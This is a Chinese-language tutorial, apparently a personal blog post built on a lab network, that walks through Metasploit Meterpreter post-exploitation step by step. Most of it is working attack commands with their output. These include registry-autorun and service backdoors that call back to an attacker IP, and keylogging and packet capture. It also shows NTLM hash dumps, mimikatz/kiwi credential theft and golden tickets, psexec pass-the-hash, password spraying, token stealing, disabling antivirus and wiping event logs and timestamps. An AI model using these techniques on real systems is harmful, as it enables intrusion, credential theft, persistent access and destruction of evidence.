MSF后渗透模块Meterpreter

目录

  • 后门
    • persistence
    • metsvc
  • 图形界面
    • getgui
  • 信息收集
    • 判断目标是不是虚拟机
    • arp主机发现
    • nmap主机发现
    • dumplink-最近访问的文件记录
    • enum_applications-安装的软件
    • 收集补丁信息
    • 键盘记录
    • 抓包
    • 浏览器
    • 系统口令
    • kiwi
  • 内网渗透
    • 开启远程桌面
    • 添加路由
    • 445端口扫描
    • 哈希值传递攻击-psexec
    • Portfwd端口转发
    • 域信息收集
    • 密码喷射
    • 令牌窃取
  • 痕迹清理

后门

由于 Meterpreter是仅仅驻留在内存中的 Shellcode,一旦目标主机重启,将失去这台机器的控制权,如果管理员将利用的漏洞打上补丁,那么重新入侵将会变得困难。好在Metasploit提供了 Persistence与 metsvc等后渗透攻击模块,通过在目标主机上安装自启动和永久服务的方式,就可以长久地控制目标主机。
下面两种方式很简单,隐蔽性很差,过不了杀软,高级玩法应该是上传免杀处理后的远程控制工具进行控制

persistence

第一步:创建后门

run persistence -X -i 5 -p 443 -r 192.168.50.131

在Meterpreter会话中运行persistence后渗透攻击模块:

  • 在目标主机的注册表键 HKLM Software Microsoft Windows Currentversion run中添加键值,以便自启动
  • -X参数指定启动的方式为开机自启动
  • -i参数指定反向连接的时间间隔
  • -p参数指定回连的端口
  • -r参数指定回连的攻击者ip

MSF后渗透模块Meterpreter_第1张图片

第二步:连接后门
实测并不好用,重启win7没有连接到kali

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.50.131
LHOST => 192.168.50.131
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.50.131   yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.50.131:443 
[*] Sending stage (176195 bytes) to 192.168.50.128
[*] Meterpreter session 1 opened (192.168.50.131:443 -> 192.168.50.128:50284) at 2020-11-02 01:45:43 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : someone-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > 

metsvc

使用metsvc,把Meterpreter以系统服务的方式安装到目标机器上
只需简单地运行 metsvc模块,将在目标主机的31337端口开启后门监听服务,并上传三个 Meterpreter的模块:

  • meter.dll( Meterpreter的功能实现DLL程序)
  • metso- server.exe(服务启动时运行的程序,目的是对 metsrv . d进行加载)
  • metsvc.exe(将上述两个文件安装成服务)

MSF后渗透模块Meterpreter_第2张图片

服务安装成功后,将在目标主机上开启监听,并等待连接。服务项如下图所示。
MSF后渗透模块Meterpreter_第3张图片

图形界面

getgui

正常情况下,通过如下命令会在目标机器上新建一个账号,并开启远程控制终端,这时在本地连接目标IP的3389(远程桌面)进行控制;如果对方在内网中可以使用portfwd命令做端口转发。
最后还可以通过run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20201102.2605.rc来清理痕迹,关闭服务,删除添加的账号。(这里不知道为什么我失败了)
MSF后渗透模块Meterpreter_第4张图片

很无语,注销win7时发现,msf和zhangsan账户都被成功添加了
MSF后渗透模块Meterpreter_第5张图片

信息收集

判断目标是不是虚拟机

使用use post/windows/gather/forensics/enum_drives列举目标主机的磁盘驱动器;
使用post/windows/gather/checkvm检查目标机器是不是虚拟机
MSF后渗透模块Meterpreter_第6张图片

arp主机发现

扫描速度不快,并且有疏漏,我这里没有把DC:10.10.10.149扫出来

meterpreter > run post/windows/gather/arp_scanner rhosts=10.10.10.150/24

[*] Running module against WEB
[*] ARP Scanning 10.10.10.150/24
[+]     IP: 10.10.10.150 MAC 00:0c:29:8d:10:77 (VMware, Inc.)
[+]     IP: 10.10.10.255 MAC 00:0c:29:8d:10:77 (VMware, Inc.)
meterpreter > run arp_scanner -r 10.10.10.0/24
[*] ARP Scanning 10.10.10.0/24
[*] IP: 10.10.10.150 MAC 00:0c:29:8d:10:77
[*] IP: 10.10.10.255 MAC 00:0c:29:8d:10:77

nmap主机发现

如果跳板机上安装的有nmap之类的工具,可以直接调用它
https://www.yuque.com/u1881995/xwfvho/uag24t#42292202

dumplink-最近访问的文件记录

查看目标机器的最近访问的文件记录,即C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Recent

meterpreter > run post/windows/gather/dumplinks 

[*] Running module against YXY-PC
[*] Running as SYSTEM extracting user list...
[*] Extracting lnk files for user yxy at C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\...
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\1.lnk.
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\1.txt.lnk.
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\2.jpg.lnk.

enum_applications-安装的软件

获得目标主机安装的软件、安全更新与漏洞补丁的信息

meterpreter > run post/windows/gather/enum_applications

[*] Enumerating applications installed on YXY-PC

Installed Applications
======================

 Name                                                                Version
 ----                                                                -------
 7-Zip 19.00 (x64)                                                   19.00
 Everything 1.4.1.988 (x64)                                          1.4.1.988
 Java 8 Update 144 (64-bit)                                          8.0.1440.1
 Java Auto Updater                                                   2.8.144.1
 Java SE Development Kit 8 Update 144 (64-bit)                       8.0.1440.1
 Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729           9.0.30729
 Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.20.27508  14.20.27508.1

收集补丁信息

run post/windows/gather/enum_patches

MSF后渗透模块Meterpreter_第7张图片

键盘记录

方式1:
下面这种方法是后台记录,不会占用meterpreter。在你准备停止记录之前,使用keyscan_dump查看记录结果,一旦停止记录,将不能查看结果

meterpreter > keyscan_start			##开始记录
Starting the keystroke sniffer ...
meterpreter > keyscan_dump			##记录结果
Dumping captured keystrokes...


meterpreter > keyscan_stop 			##停止记录
Stopping the keystroke sniffer...
meterpreter > 

MSF后渗透模块Meterpreter_第8张图片

方式2:
使用run post/windows/capture/keylog_recorder,记录体验较好,但是会占用meterpreter

meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against DESKTOP-BQM7KV7
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20220122022417_default_192.168.40.1_host.windows.key_946268.txt
[*] Recording keystrokes...
^C[*] User interrupt.
[*] Shutting down keylog recorder. Please wait...
meterpreter >

抓包

Sniffer Commands
================

    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface instead of downloading them
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface

MSF后渗透模块Meterpreter_第9张图片

浏览器

run post/windows/gather/enum_ie

在 Meterpreter会话中运行 post/windows/gather/enum ie模块,将目标主机的IE浏览历史记录、保存的Cookie,以IE缓存的密码,都保存到本地文件

系统口令

对于系统口令的攫取, Meterpreter的用户接口命令里就有集成的 hashdump命令,可以直接获取系统的密码哈希,使用命令如下:

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:508e71dc398024a7de82488e85beaa93:::
msf:1004:aad3b435b51404eeaad3b435b51404ee:e37e07c21dbcc0c19ca053756ecc2278:::
zhangsan:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

Meterpreter的hashdump命令在非system权限下会失败,而且在 Windows7/ista、 Windows2008 Server下有时候会出现进程移植不成功等问题,而 Metasploit中的后渗透攻击模块 smart_hashdump功能更为强大。

Smart hashdump后渗透攻击模块的工作流程如下:
1)检查会话具有的权限和目标操作系统的类型;
2)检查目标机是否是域控制服务器
3)在以上信息的基础上,首先尝试直接从注册表中读取哈希值,不成功的话再尝试注入 LSASS进程,如果是域控制器将直接对 LSASS进程进行注入;
4)如果目标系统是 Windows2008 Server,而且会话具有管理员权限,这时使用getsystem命令尝试获得 system权限,如果在 system权限下不能注入 LSASS进程,这时会用migrate命令将代码移植到已经运行在 system权限下的进程中,然后再对 LSASS进程进行注入;
5)如果检测到目标系统是 Windows7/vsta,UAC已经关闭,而且会话具有本地管理员权限,这时运行 geosystem命令从注册表中读取;
6)在 Windows20032000XP系统下直接运行 geosystem命令,如果成功再从注册表中读取哈希值。

可以看出, smart_hashdump模块考虑到了在多种系统环境下密码哈希获取的差异,以及在 LSASS进程注入不成功情况下的解决办法,成功率显然提高了不少。但是如果Windows7开启了UAC,获取密码哈希和 getsystem命令都会失败,这时则需要首先使用绕过 Windows7UAC的后渗透攻击模块
MSF后渗透模块Meterpreter_第10张图片

哈希值利用

  1. 利用方法就是使用 L0phtCrack等破解工具破解出明文口令后再进行利用。然而如果不是像“123456”这样落入字典文件的弱口令,口令破解需要很长的时间,对于复杂口令则不可能破解出来
  2. 利用方法就是不用破解口令哈希,而是直接进行重放利用, Metasploit中就集成了著名的 psexec工具,利用获取的系统口令哈希进行传递攻击

其他:Metasploit也提供了对 John The Ripper口令破解工具的集成,模块名称为 auxiliary/analyze/jtr_crack_fast

kiwi

在最新的MSF版本中,load mimikatz已经取消,现在使用kiwi模块。
一些应用案例:https://www.yuque.com/u1881995/xwfvho/axoplg#Gsiqg

creds_all 列举所有凭据
creds_kerberos 列举所有kerberos凭据
creds_msv 列举所有msv凭据
creds_ssp 列举所有ssp凭据
creds_tspkg 列举所有tspkg凭据
creds_wdigest 列举所有wdigest凭据
dcsync 通过DCSync检索用户帐户信息
dcsync_ntlm 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create 创建黄金票据
kerberos_ticket_list 列举kerberos票据
kerberos_ticket_purge 清除kerberos票据
kerberos_ticket_use 使用kerberos票据
kiwi_cmd 执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam dump出lsa的SAM
lsa_dump_secrets dump出lsa的密文
password_change 修改密码
wifi_list 列出当前用户的wifi配置文件
wifi_list_shared 列出共享wifi配置文件/编码

内网渗透

开启远程桌面

在meterpreter中使用run post/windows/manage/enable_rdp
直连:https://www.yuque.com/u1881995/xwfvho/iizvrw#ocZsE
代理连接:https://www.yuque.com/u1881995/xwfvho/iizvrw#QO8Yz

添加路由

实战案例:代理-内网跳板机、项目4、项目6
MSF后渗透模块Meterpreter_第11张图片

445端口扫描

use auxiliary/scanner/portscan/tcp
show options
set RHOSTS 192.168.50.0/24
set PORTS 445
set THREADS 100
run

哈希值传递攻击-psexec

在metasploite中存在一个psexec模块,可以使用获取的hash进行登录。这里拿下一台域内主机10.10.10.138,对拥有同样账密的10.10.10.139测试psexec

  1. 获取hash
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >
  1. 发现内网开放SMB服务器的机器
use auxiliary/scanner/smb/smb_version
set THREADS 10
set RHOSTS 10.10.10.0/24
exploit

MSF后渗透模块Meterpreter_第12张图片

  1. 使用psexec
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set SMBUser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
set rhosts 10.10.10.139
set lhost 10.10.10.128
exploit

MSF后渗透模块Meterpreter_第13张图片

MSF后渗透模块Meterpreter_第14张图片

Portfwd端口转发

参见:语雀地址、CSDN地址

域信息收集

常用信息收集模块

auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname

收集域信息

run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token

密码喷射

网上有相关字典:https://github.com/attackdebris/kerberos_enum_userlists,我这里准备一个小字典。
注意:在尝试猜测密码时, 应考虑域的帐户锁定策略。一个明智的方法是一次尝试一个密码, 限制自己猜测两次(系统设置为锁定后3无效尝试) 或猜测四次(系统设置为锁定5无效尝试后) 每30分钟对一个帐户。30分钟是典型的 “lockout observation window”。

  1. 获取到dc(10.10.10.136)和域名称(redteam.club)

MSF后渗透模块Meterpreter_第15张图片

  1. 攻击
use auxiliary/gather/kerberos_enumusers
set DOMAIN redteam.club
set rhosts 10.10.10.136
set user_file /home/kali/name.txt
exploit

MSF后渗透模块Meterpreter_第16张图片

MSF后渗透模块Meterpreter_第17张图片

令牌窃取

更详细的理论解释,参见之前的文章:令牌窃取。实战案例,参见:项目6

load incognito		# 加载incognito
list_tokens -u 		# 列出当前系统可用的token
impersonate_token "NT AUTHORITY\SYSTEM"		# 选择要窃取的账号
rev2self 					# 返回原始token

ps							  # 查看系统进程信息
steal_token <pid值> 	# 从指定进程中窃取token
drop_token 				# 删除窃取的token

MSF后渗透模块Meterpreter_第18张图片

MSF后渗透模块Meterpreter_第19张图片

痕迹清理

使用clearev清理日志痕迹等

meterpreter > clearev 
[*] Wiping 1720 records from Application...
[*] Wiping 10965 records from System...
[*] Wiping 2776 records from Security...

使用timestomp篡改文件的修改或者访问时间

meterpreter > timestomp help

Usage: timestomp <file(s)> OPTIONS

OPTIONS:

    -a <opt>  Set the "last accessed" time of the file
    -b        Set the MACE timestamps so that EnCase shows blanks
    -c <opt>  Set the "creation" time of the file
    -e <opt>  Set the "mft entry modified" time of the file
    -f <opt>  Set the MACE of attributes equal to the supplied file
    -h        Help banner
    -m <opt>  Set the "last written" time of the file
    -r        Set the MACE timestamps recursively on a directory
    -v        Display the UTC MACE values of the file
    -z <opt>  Set all four attributes (MACE) of the file

MSF后渗透模块Meterpreter_第20张图片

你可能感兴趣的:(渗透测试,msf)